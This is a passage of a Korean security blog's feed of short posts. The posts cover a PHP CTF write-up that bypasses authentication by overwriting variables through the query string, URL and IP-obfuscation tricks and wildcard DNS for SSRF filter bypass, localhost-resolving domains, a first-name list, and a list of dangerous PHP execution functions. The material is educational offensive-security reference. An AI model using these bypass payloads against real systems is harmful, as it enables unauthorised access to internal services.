&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;2.PNG&quot; width=&quot;860&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/nhWRR/btquw2bhbhx/u60p1Nc4nreVHsrvu8kKH0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/nhWRR/btquw2bhbhx/u60p1Nc4nreVHsrvu8kKH0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/nhWRR/btquw2bhbhx/u60p1Nc4nreVHsrvu8kKH0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FnhWRR%2Fbtquw2bhbhx%2Fu60p1Nc4nreVHsrvu8kKH0%2Fimg.png&quot; data-filename=&quot;2.PNG&quot; width=&quot;860&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;링크에 접속하면 parse_url 함수로부터 파싱되는&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;요청 URL의 ? 뒷부분이 존재하지 않는다면 소스를 출력하도록 되어 있습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;parse_str 함수에 의하여 GET 방식으로 제공된 인자는&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;모두 일반 php 변수로서 변환됩니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;마치 &lt;b&gt;register_globals = on&lt;/b&gt; 를 적용한 것과&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;비스무리한 결과를 가져오는 것이죠.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre class=&quot;brush:py stylus&quot;&gt;sha2('posix') = 270dfabe9df986d649e48acd477c99c30245a25148b53f89b24ee34afcfdaa0f&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;따라서 get 메소드로 하여금 action, key, hashed_key 변수를&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;덮어씌워 주면, 인증을 우회할 수 있겠습니다.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre class=&quot;brush:py awk&quot;&gt;http://easyphp.ctf.euristica.in/?action=auth&amp;amp;hashed_key=270dfabe9df986d649e48acd477c99c30245a25148b53f89b24ee34afcfdaa0f&amp;amp;key=posix&amp;nbsp;&lt;/pre&gt;
&lt;pre class=&quot;brush:py dust&quot;&gt;flag{exPz_pHp_0b9fd0f8}&lt;/pre&gt;</description>
      <category>CTF Writups</category>
      <author>POSIX</author>
      <guid isPermaLink="true">https://posix.tistory.com/105</guid>
      <comments>https://posix.tistory.com/105#entry105comment</comments>
      <pubDate>Sun, 14 Apr 2019 17:46:41 +0900</pubDate>
    </item>
    <item>
      <title>Public DNS resolving to localhost</title>
      <link>https://posix.tistory.com/102</link>
      <description>&lt;p style=&quot;text-align: center; font-size: 1.25em;&quot;&gt;&lt;b&gt;fuf.me&lt;/b&gt;&lt;br /&gt;&lt;b&gt;localtest.me&lt;/b&gt;&lt;br /&gt;&lt;b&gt;127-0-0-1.org.uk &lt;/b&gt;&lt;br /&gt;&lt;b&gt;vcap.me &lt;/b&gt;&lt;br /&gt;&lt;b&gt;yoogle.com&lt;/b&gt; &lt;br /&gt;&lt;b&gt;lvh.me &lt;/b&gt;&lt;br /&gt;&lt;b&gt;lacolhost.com &lt;/b&gt;&lt;br /&gt;&lt;b&gt;*.local.sisteminha.com&amp;nbsp;&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://gist.github.com/tinogomes/c425aa2a56d289f16a1f4fcb8a65ea65&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;출처&lt;/a&gt;&lt;/p&gt;</description>
      <category>Web</category>
      <author>POSIX</author>
      <guid isPermaLink="true">https://posix.tistory.com/102</guid>
      <comments>https://posix.tistory.com/102#entry102comment</comments>
      <pubDate>Sat, 13 Apr 2019 20:47:42 +0900</pubDate>
    </item>
    <item>
      <title>주소 덧붙이기를 통한 Request Forgery 기법</title>
      <link>https://posix.tistory.com/101</link>
      <description>&lt;pre class=brush:text&gt;
http://www.foo.com@www.bar.com/blabla
http://www.foo.com\t@www.bar.com/blabla
http://www.foo.com%09@www.bar.com/blabla
http://www.foo.com%2509@www.bar.com/blabla
http://www.foo.com%0d%0a@www.bar.com/blabla
&lt;/pre&gt;</description>
      <category>Web</category>
      <category>CSRF</category>
      <category>SSRF</category>
      <author>POSIX</author>
      <guid isPermaLink="true">https://posix.tistory.com/101</guid>
      <comments>https://posix.tistory.com/101#entry101comment</comments>
      <pubDate>Wed, 10 Apr 2019 09:51:14 +0900</pubDate>
    </item>
    <item>
      <title>IP 주소 우회 기법</title>
      <link>https://posix.tistory.com/100</link>
      <description>&lt;pre class=brush:text&gt;
Decimal               : 2130706433 (127.0.0.1)
Omission-1            : 127.1 (127.0.0.1)
Omission-2            : 192.168.1 (192.168.0.1)
Omission &amp; Octal	  : 0177.1 (127.0.0.1)
Hexademical	          : 0x8080808 (8.8.8.8)
Octal &amp; Hexademical   : 010.0x0000008.00000010.8 (8.8.8.8)
Decimal &amp; Hexademical : 8.0x000000000000000080808 (8.8.8.8)
&lt;/pre&gt;</description>
      <category>Web</category>
      <author>POSIX</author>
      <guid isPermaLink="true">https://posix.tistory.com/100</guid>
      <comments>https://posix.tistory.com/100#entry100comment</comments>
      <pubDate>Wed, 10 Apr 2019 09:24:31 +0900</pubDate>
    </item>
    <item>
      <title>Popular Human Name List</title>
      <link>https://posix.tistory.com/99</link>
      <description>Mary&lt;br&gt;Katherine&lt;br&gt;Josephine&lt;br&gt;Ana&lt;br&gt;Heidi&lt;br&gt;Patricia&lt;br&gt;Joan&lt;br&gt;Thelma&lt;br&gt;Renee&lt;br&gt;Glenda&lt;br&gt;Linda&lt;br&gt;Ashley&lt;br&gt;Shannon&lt;br&gt;Ida&lt;br&gt;Lydia&lt;br&gt;Barbara&lt;br&gt;Judith&lt;br&gt;Sheila&lt;br&gt;Vivian&lt;br&gt;Viola&lt;br&gt;Elizabeth&lt;br&gt;Rose&lt;br&gt;Ethel&lt;br&gt;Roberta&lt;br&gt;Courtney&lt;br&gt;Jennifer&lt;br&gt;Janice&lt;br&gt;Ellen&lt;br&gt;Holly&lt;br&gt;Marian&lt;br&gt;Maria&lt;br&gt;Kelly&lt;br&gt;Elaine&lt;br&gt;Brittany&lt;br&gt;Stella&lt;br&gt;Susan&lt;br&gt;Nicole&lt;br&gt;Marjorie&lt;br&gt;Melanie&lt;br&gt;Caroline&lt;br&gt;Margaret&lt;br&gt;Judy&lt;br&gt;Carrie&lt;br&gt;Loretta&lt;br&gt;Dora&lt;br&gt;Dorothy&lt;br&gt;Christina&lt;br&gt;Charlotte&lt;br&gt;Yolanda&lt;br&gt;Jo&lt;br&gt;Lisa&lt;br&gt;Kathy&lt;br&gt;Monica&lt;br&gt;Jeanette&lt;br&gt;Vickie&lt;br&gt;Nancy&lt;br&gt;Theresa&lt;br&gt;Esther&lt;br&gt;Laurie&lt;br&gt;Mattie&lt;br&gt;Karen&lt;br&gt;Beverly&lt;br&gt;Pauline&lt;br&gt;Katie&lt;br&gt;Terry&lt;br&gt;Betty&lt;br&gt;Denise&lt;br&gt;Emma&lt;br&gt;Kristen&lt;br&gt;Maxine&lt;br&gt;Helen&lt;br&gt;Tammy&lt;br&gt;Juanita&lt;br&gt;Vanessa&lt;br&gt;Irma&lt;br&gt;Sandra&lt;br&gt;Irene&lt;br&gt;Anita&lt;br&gt;Alma&lt;br&gt;Mabel&lt;br&gt;Donna&lt;br&gt;Jane&lt;br&gt;Rhonda&lt;br&gt;Sue&lt;br&gt;Marsha&lt;br&gt;Carol&lt;br&gt;Lori&lt;br&gt;Hazel&lt;br&gt;Elsie&lt;br&gt;Myrtle&lt;br&gt;Ruth&lt;br&gt;Rachel&lt;br&gt;Amber&lt;br&gt;Beth&lt;br&gt;Lena&lt;br&gt;Sharon&lt;br&gt;Marilyn&lt;br&gt;Eva&lt;br&gt;Jeanne&lt;br&gt;Christy&lt;br&gt;Michelle&lt;br&gt;Andrea&lt;br&gt;Debbie&lt;br&gt;Vicki&lt;br&gt;Deanna&lt;br&gt;Laura&lt;br&gt;Kathryn&lt;br&gt;April&lt;br&gt;Carla&lt;br&gt;Patsy&lt;br&gt;Sarah&lt;br&gt;Louise&lt;br&gt;Leslie&lt;br&gt;Tara&lt;br&gt;Hilda&lt;br&gt;Kimberly&lt;br&gt;Sara&lt;br&gt;Clara&lt;br&gt;Rosemary&lt;br&gt;Gwendolyn&lt;br&gt;Deborah&lt;br&gt;Anne&lt;br&gt;Lucille&lt;br&gt;Eileen&lt;br&gt;Jennie&lt;br&gt;Jessica&lt;br&gt;Jacqueline&lt;br&gt;Jamie&lt;br&gt;Terri&lt;br&gt;Nora&lt;br&gt;Shirley&lt;br&gt;Wanda&lt;br&gt;Joanne&lt;br&gt;Gertrude&lt;br&gt;Margie&lt;br&gt;Cynthia&lt;br&gt;Bonnie&lt;br&gt;Eleanor&lt;br&gt;Lucy&lt;br&gt;Nina&lt;br&gt;Angela&lt;br&gt;Julia&lt;br&gt;Valerie&lt;br&gt;Tonya&lt;br&gt;Cassandra&lt;br&gt;Melissa&lt;br&gt;Ruby&lt;br&gt;Danielle&lt;br&gt;Ella&lt;br&gt;Leah&lt;br&gt;Brenda&lt;br&gt;Lois&lt;br&gt;Megan&lt;br&gt;Stacey&lt;br&gt;Penny&lt;br&gt;Amy&lt;br&gt;Tina&lt;br&gt;Alicia&lt;br&gt;Wilma&lt;br&gt;Kay&lt;br&gt;Anna&lt;br&gt;Phyllis&lt;br&gt;Suzanne&lt;br&gt;Gina&lt;br&gt;Priscilla&lt;br&gt;Rebecca&lt;br&gt;Norma&lt;br&gt;Michele&lt;br&gt;Kristin&lt;br&gt;Naomi&lt;br&gt;Virginia&lt;br&gt;Paula&lt;br&gt;Gail&lt;br&gt;Jessie&lt;br&gt;Carole&lt;br&gt;Kathleen&lt;br&gt;Diana&lt;br&gt;Bertha&lt;br&gt;Natalie&lt;br&gt;Brandy&lt;br&gt;Pamela&lt;br&gt;Annie&lt;br&gt;Darlene&lt;br&gt;Agnes&lt;br&gt;Olga&lt;br&gt;Martha&lt;br&gt;Lillian&lt;br&gt;Veronica&lt;br&gt;Vera&lt;br&gt;Billie&lt;br&gt;Debra&lt;br&gt;Emily&lt;br&gt;Jill&lt;br&gt;Willie&lt;br&gt;Dianne&lt;br&gt;Amanda&lt;br&gt;Robin&lt;br&gt;Erin&lt;br&gt;Charlene&lt;br&gt;Tracey&lt;br&gt;Stephanie&lt;br&gt;Peggy&lt;br&gt;Geraldine&lt;br&gt;Bessie&lt;br&gt;Leona&lt;br&gt;Carolyn&lt;br&gt;Crystal&lt;br&gt;Lauren&lt;br&gt;Delores&lt;br&gt;Jenny&lt;br&gt;Christine&lt;br&gt;Gladys&lt;br&gt;Cathy&lt;br&gt;Melinda&lt;br&gt;Felicia&lt;br&gt;Marie&lt;br&gt;Rita&lt;br&gt;Joann&lt;br&gt;Pearl&lt;br&gt;Sonia&lt;br&gt;Janet&lt;br&gt;Dawn&lt;br&gt;Lorraine&lt;br&gt;Arlene&lt;br&gt;Miriam&lt;br&gt;Catherine&lt;br&gt;Connie&lt;br&gt;Lynn&lt;br&gt;Maureen&lt;br&gt;Velma&lt;br&gt;Frances&lt;br&gt;Florence&lt;br&gt;Sally&lt;br&gt;Colleen&lt;br&gt;Becky&lt;br&gt;Ann&lt;br&gt;Tracy&lt;br&gt;Regina&lt;br&gt;Allison&lt;br&gt;Bobbie&lt;br&gt;Joyce&lt;br&gt;Edna&lt;br&gt;Erica&lt;br&gt;Tamara&lt;br&gt;Violet&lt;br&gt;Diane&lt;br&gt;Tiffany&lt;br&gt;Beatrice&lt;br&gt;Joy&lt;br&gt;Kristina&lt;br&gt;Alice&lt;br&gt;Carmen&lt;br&gt;Dolores&lt;br&gt;Georgia&lt;br&gt;Toni&lt;br&gt;Julie&lt;br&gt;Rosa&lt;br&gt;Bernice&lt;br&gt;Constance&lt;br&gt;Misty&lt;br&gt;Heather&lt;br&gt;Cindy&lt;br&gt;Audrey&lt;br&gt;Lillie&lt;br&gt;Mae&lt;br&gt;Teresa&lt;br&gt;Grace&lt;br&gt;Yvonne&lt;br&gt;Claudia&lt;br&gt;Shelly&lt;br&gt;Doris&lt;br&gt;Wendy&lt;br&gt;Annette&lt;br&gt;Jackie&lt;br&gt;Daisy&lt;br&gt;Gloria&lt;br&gt;Victoria&lt;br&gt;June&lt;br&gt;Marcia&lt;br&gt;Ramona&lt;br&gt;Evelyn&lt;br&gt;Edith&lt;br&gt;Samantha&lt;br&gt;Tanya&lt;br&gt;Sherri&lt;br&gt;Jean&lt;br&gt;Kim&lt;br&gt;Marion&lt;br&gt;Nellie&lt;br&gt;Erika&lt;br&gt;Cheryl&lt;br&gt;Sherry&lt;br&gt;Dana&lt;br&gt;Minnie&lt;br&gt;Katrina&lt;br&gt;Mildred&lt;br&gt;Sylvia&lt;br&gt;Stacy&lt;br&gt;Marlene&lt;br&gt;Claire&lt;br&gt;James&lt;br&gt;Willie&lt;br&gt;Chad&lt;br&gt;Zachary&lt;br&gt;Mathew&lt;br&gt;John&lt;br&gt;Ralph&lt;br&gt;Jacob&lt;br&gt;Corey&lt;br&gt;Tyrone&lt;br&gt;Robert&lt;br&gt;Lawrence&lt;br&gt;Lee&lt;br&gt;Herman&lt;br&gt;Darren&lt;br&gt;Michael&lt;br&gt;Nicholas&lt;br&gt;Melvin&lt;br&gt;Maurice&lt;br&gt;Lonnie&lt;br&gt;William&lt;br&gt;Roy&lt;br&gt;Alfred&lt;br&gt;Vernon&lt;br&gt;Lance&lt;br&gt;David&lt;br&gt;Benjamin&lt;br&gt;Kyle&lt;br&gt;Roberto&lt;br&gt;Cody&lt;br&gt;Richard&lt;br&gt;Bruce&lt;br&gt;Francis&lt;br&gt;Clyde&lt;br&gt;Julio&lt;br&gt;Charles&lt;br&gt;Brandon&lt;br&gt;Bradley&lt;br&gt;Glen&lt;br&gt;Kelly&lt;br&gt;Joseph&lt;br&gt;Adam&lt;br&gt;Jesus&lt;br&gt;Hector&lt;br&gt;Kurt&lt;br&gt;Thomas&lt;br&gt;Harry&lt;br&gt;Herbert&lt;br&gt;Shane&lt;br&gt;Allan&lt;br&gt;Christopher&lt;br&gt;Fred&lt;br&gt;Frederick&lt;br&gt;Ricardo&lt;br&gt;Nelson&lt;br&gt;Daniel&lt;br&gt;Wayne&lt;br&gt;Ray&lt;br&gt;Sam&lt;br&gt;Guy&lt;br&gt;Paul&lt;br&gt;Billy&lt;br&gt;Joel&lt;br&gt;Rick&lt;br&gt;Clayton&lt;br&gt;Mark&lt;br&gt;Steve&lt;br&gt;Edwin&lt;br&gt;Lester&lt;br&gt;Hugh&lt;br&gt;Donald&lt;br&gt;Louis&lt;br&gt;Don&lt;br&gt;Brent&lt;br&gt;Max&lt;br&gt;George&lt;br&gt;Jeremy&lt;br&gt;Eddie&lt;br&gt;Ramon&lt;br&gt;Dwayne&lt;br&gt;Kenneth&lt;br&gt;Aaron&lt;br&gt;Ricky&lt;br&gt;Charlie&lt;br&gt;Dwight&lt;br&gt;Steven&lt;br&gt;Randy&lt;br&gt;Troy&lt;br&gt;Tyler&lt;br&gt;Armando&lt;br&gt;Edward&lt;br&gt;Howard&lt;br&gt;Randall&lt;br&gt;Gilbert&lt;br&gt;Felix&lt;br&gt;Brian&lt;br&gt;Eugene&lt;br&gt;Barry&lt;br&gt;Gene&lt;br&gt;Jimmie&lt;br&gt;Ronald&lt;br&gt;Carlos&lt;br&gt;Alexander&lt;br&gt;Marc&lt;br&gt;Everett&lt;br&gt;Anthony&lt;br&gt;Russell&lt;br&gt;Bernard&lt;br&gt;Reginald&lt;br&gt;Jordan&lt;br&gt;Kevin&lt;br&gt;Bobby&lt;br&gt;Mario&lt;br&gt;Ruben&lt;br&gt;Ian&lt;br&gt;Jason&lt;br&gt;Victor&lt;br&gt;Leroy&lt;br&gt;Brett&lt;br&gt;Wallace&lt;br&gt;Matthew&lt;br&gt;Martin&lt;br&gt;Francisco&lt;br&gt;Angel&lt;br&gt;Ken&lt;br&gt;Gary&lt;br&gt;Ernest&lt;br&gt;Marcus&lt;br&gt;Nathaniel&lt;br&gt;Bob&lt;br&gt;Timothy&lt;br&gt;Phillip&lt;br&gt;Micheal&lt;br&gt;Rafael&lt;br&gt;Jaime&lt;br&gt;Jose&lt;br&gt;Todd&lt;br&gt;Theodore&lt;br&gt;Leslie&lt;br&gt;Casey&lt;br&gt;Larry&lt;br&gt;Jesse&lt;br&gt;Clifford&lt;br&gt;Edgar&lt;br&gt;Alfredo&lt;br&gt;Jeffrey&lt;br&gt;Craig&lt;br&gt;Miguel&lt;br&gt;Milton&lt;br&gt;Alberto&lt;br&gt;Frank&lt;br&gt;Alan&lt;br&gt;Oscar&lt;br&gt;Raul&lt;br&gt;Dave&lt;br&gt;Scott&lt;br&gt;Shawn&lt;br&gt;Jay&lt;br&gt;Ben&lt;br&gt;Ivan&lt;br&gt;Eric&lt;br&gt;Clarence&lt;br&gt;Jim&lt;br&gt;Chester&lt;br&gt;Johnnie&lt;br&gt;Stephen&lt;br&gt;Sean&lt;br&gt;Tom&lt;br&gt;Cecil&lt;br&gt;Sidney&lt;br&gt;Andrew&lt;br&gt;Philip&lt;br&gt;Calvin&lt;br&gt;Duane&lt;br&gt;Byron&lt;br&gt;Raymond&lt;br&gt;Chris&lt;br&gt;Alex&lt;br&gt;Franklin&lt;br&gt;Julian&lt;br&gt;Gregory&lt;br&gt;Johnny&lt;br&gt;Jon&lt;br&gt;Andre&lt;br&gt;Isaac&lt;br&gt;Joshua&lt;br&gt;Earl&lt;br&gt;Ronnie&lt;br&gt;Elmer&lt;br&gt;Morris&lt;br&gt;Jerry&lt;br&gt;Jimmy&lt;br&gt;Bill&lt;br&gt;Brad&lt;br&gt;Clifton&lt;br&gt;Dennis&lt;br&gt;Antonio&lt;br&gt;Lloyd&lt;br&gt;Gabriel&lt;br&gt;Willard&lt;br&gt;Walter&lt;br&gt;Danny&lt;br&gt;Tommy&lt;br&gt;Ron&lt;br&gt;Daryl&lt;br&gt;Patrick&lt;br&gt;Bryan&lt;br&gt;Leon&lt;br&gt;Mitchell&lt;br&gt;Ross&lt;br&gt;Peter&lt;br&gt;Tony&lt;br&gt;Derek&lt;br&gt;Roland&lt;br&gt;Virgil&lt;br&gt;Harold&lt;br&gt;Luis&lt;br&gt;Warren&lt;br&gt;Arnold&lt;br&gt;Andy&lt;br&gt;Douglas&lt;br&gt;Mike&lt;br&gt;Darrell&lt;br&gt;Harvey&lt;br&gt;Marshall&lt;br&gt;Henry&lt;br&gt;Stanley&lt;br&gt;Jerome&lt;br&gt;Jared&lt;br&gt;Salvador&lt;br&gt;Carl&lt;br&gt;Leonard&lt;br&gt;Floyd&lt;br&gt;Adrian&lt;br&gt;Perry&lt;br&gt;Arthur&lt;br&gt;Nathan&lt;br&gt;Leo&lt;br&gt;Karl&lt;br&gt;Kirk&lt;br&gt;Ryan&lt;br&gt;Dale&lt;br&gt;Alvin&lt;br&gt;Cory&lt;br&gt;Sergio&lt;br&gt;Roger&lt;br&gt;Manuel&lt;br&gt;Tim&lt;br&gt;Claude&lt;br&gt;Marion&lt;br&gt;Joe&lt;br&gt;Rodney&lt;br&gt;Wesley&lt;br&gt;Erik&lt;br&gt;Tracy&lt;br&gt;Juan&lt;br&gt;Curtis&lt;br&gt;Gordon&lt;br&gt;Darryl&lt;br&gt;Seth&lt;br&gt;Jack&lt;br&gt;Norman&lt;br&gt;Dean&lt;br&gt;Jamie&lt;br&gt;Kent&lt;br&gt;Albert&lt;br&gt;Allen&lt;br&gt;Greg&lt;br&gt;Neil&lt;br&gt;Terrance&lt;br&gt;Jonathan&lt;br&gt;Marvin&lt;br&gt;Jorge&lt;br&gt;Jessie&lt;br&gt;Rene&lt;br&gt;Justin&lt;br&gt;Vincent&lt;br&gt;Dustin&lt;br&gt;Christian&lt;br&gt;Eduardo&lt;br&gt;Terry&lt;br&gt;Glenn&lt;br&gt;Pedro&lt;br&gt;Javier&lt;br&gt;Terrence&lt;br&gt;Gerald&lt;br&gt;Jeffery&lt;br&gt;Derrick&lt;br&gt;Fernando&lt;br&gt;Enrique&lt;br&gt;Keith&lt;br&gt;Travis&lt;br&gt;Dan&lt;br&gt;Clinton&lt;br&gt;Freddie&lt;br&gt;Samuel&lt;br&gt;Jeff&lt;br&gt;Lewis&lt;br&gt;Ted&lt;br&gt;Wade</description>
      <category>ETC</category>
      <author>POSIX</author>
      <guid isPermaLink="true">https://posix.tistory.com/99</guid>
      <comments>https://posix.tistory.com/99#entry99comment</comments>
      <pubDate>Mon, 8 Apr 2019 09:56:40 +0900</pubDate>
    </item>
    <item>
      <title>와일드 카드 DNS 서비스</title>
      <link>https://posix.tistory.com/96</link>
      <description>&lt;p style=&quot;text-align: center;&quot;&gt;Midnightsun CTF 2019를 통해 접하게 된 정보입니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;일반적으로 DNS는&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;한 도메인에 대하여 1~N개의 IP주소를 가지며&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;서브 도메인에 대하여 또 몇가지로 분기됩니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;예시를 들어보면&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;example.com : 35.180.12.3&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;www.example.com : 35.180.12.4&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;m.example.com : 35.180.12.5&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;질의에 대하여 위와 같은 내용으로&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;IP를 반환해주는 DNS가 존재할 수 있겠습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; width=&quot;860&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/3yIDj/btqufcKUat1/kVepuJUHGzRWhvLNIj9Yz1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/3yIDj/btqufcKUat1/kVepuJUHGzRWhvLNIj9Yz1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/3yIDj/btqufcKUat1/kVepuJUHGzRWhvLNIj9Yz1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F3yIDj%2FbtqufcKUat1%2FkVepuJUHGzRWhvLNIj9Yz1%2Fimg.png&quot; width=&quot;860&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;하지만, 이 녀석들은 그렇지 않습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;서브 도메인으로 입력받은 그대로 IP를 반환하여 주기에&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;조금 특수한 용도로 사용할 수 있는데요.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;만약 127.0.0.1.xip.io를 쿼리하면&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;127.0.0.1 주소를 반환하여 실제로 루프백 주소를 반환하게 됩니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;따라서 입력하기에 따라서 존재하는 모든 IP를 반환할 수 있겠죠?&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;여기서 주목할 만한 부분은&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;IP 앞쪽에 서브넷이 붙는 경우인데요&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;http://this.is.a.vulnerable.domain.127.0.0.1.nip.io&quot;&gt;http://this.is.a.vulnerable.domain.127.0.0.1.nip.io&lt;/a&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;와 같이 추가적인 서브도메인이 붙더라도&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;무시하고 127.0.0.1이 반환됩니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;이를 이용하면&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;인자를 통해 다른 도메인의 내용을 읽어들여 반환하는 경우&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;상황에 따라 서버 접근을 우회할 수도 있습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;참조&amp;nbsp;&lt;a href=&quot;https://moss.sh/free-wildcard-dns-services/&quot;&gt;https://moss.sh/free-wildcard-dns-services/&lt;/a&gt;&lt;/p&gt;</description>
      <category>Web</category>
      <author>POSIX</author>
      <guid isPermaLink="true">https://posix.tistory.com/96</guid>
      <comments>https://posix.tistory.com/96#entry96comment</comments>
      <pubDate>Sun, 7 Apr 2019 22:57:59 +0900</pubDate>
    </item>
    <item>
      <title>취약점 존재 가능한 PHP 함수 목록</title>
      <link>https://posix.tistory.com/95</link>
      <description>&lt;p style=&quot;font-size: 1.25em;&quot;&gt;Command Execution&lt;br /&gt;&lt;pre class=&quot;brush:plain&quot;&gt;
exec           - Returns last line of commands output
passthru       - Passes commands output directly to the browser
system         - Passes commands output directly to the browser and returns last line
shell_exec     - Returns commands output
`` (backticks) - Same as shell_exec()
popen          - Opens read or write pipe to process of a command
proc_open      - Similar to popen() but greater degree of control
pcntl_exec     - Executes a program
&lt;/pre&gt;
&lt;p style=&quot;font-size: 1.25em;&quot;&gt;PHP Code Execution&lt;br /&gt;&lt;pre class=&quot;brush:plain&quot;&gt;
eval()
assert()  - identical to eval()
preg_replace('/.*/e',...) - /e does an eval() on the match
create_function()
include()
include_once()
require()
require_once()
$_GET['func_name']($_GET['argument']);
$func = new ReflectionFunction($_GET['func_name']); $func-&gt;invoke(); or $func-&gt;invokeArgs(array());
&lt;/pre&gt;
&lt;p style=&quot;font-size: 1.25em;&quot;&gt;&lt;br /&gt;List of functions which accept callbacks&lt;br /&gt;&lt;pre class=&quot;brush:plain&quot;&gt;
Function                     =&gt; Position of callback arguments
'ob_start'                   =&gt;  0,
'array_diff_uassoc'          =&gt; -1,
'array_diff_ukey'            =&gt; -1,
'array_filter'               =&gt;  1,
'array_intersect_uassoc'     =&gt; -1,
'array_intersect_ukey'       =&gt; -1,
'array_map'                  =&gt;  0,
'array_reduce'               =&gt;  1,
'array_udiff_assoc'          =&gt; -1,
'array_udiff_uassoc'         =&gt; array(-1, -2),
'array_udiff'                =&gt; -1,
'array_uintersect_assoc'     =&gt; -1,
'array_uintersect_uassoc'    =&gt; array(-1, -2),
'array_uintersect'           =&gt; -1,
'array_walk_recursive'       =&gt;  1,
'array_walk'                 =&gt;  1,
'assert_options'             =&gt;  1,
'uasort'                     =&gt;  1,
'uksort'                     =&gt;  1,
'usort'                      =&gt;  1,
'preg_replace_callback'      =&gt;  1,
'spl_autoload_register'      =&gt;  0,
'iterator_apply'             =&gt;  1,
'call_user_func'             =&gt;  0,
'call_user_func_array'       =&gt;  0,
'register_shutdown_function' =&gt;  0,
'register_tick_function'     =&gt;  0,
'set_error_handler'          =&gt;  0,
'set_exception_handler'      =&gt;  0,
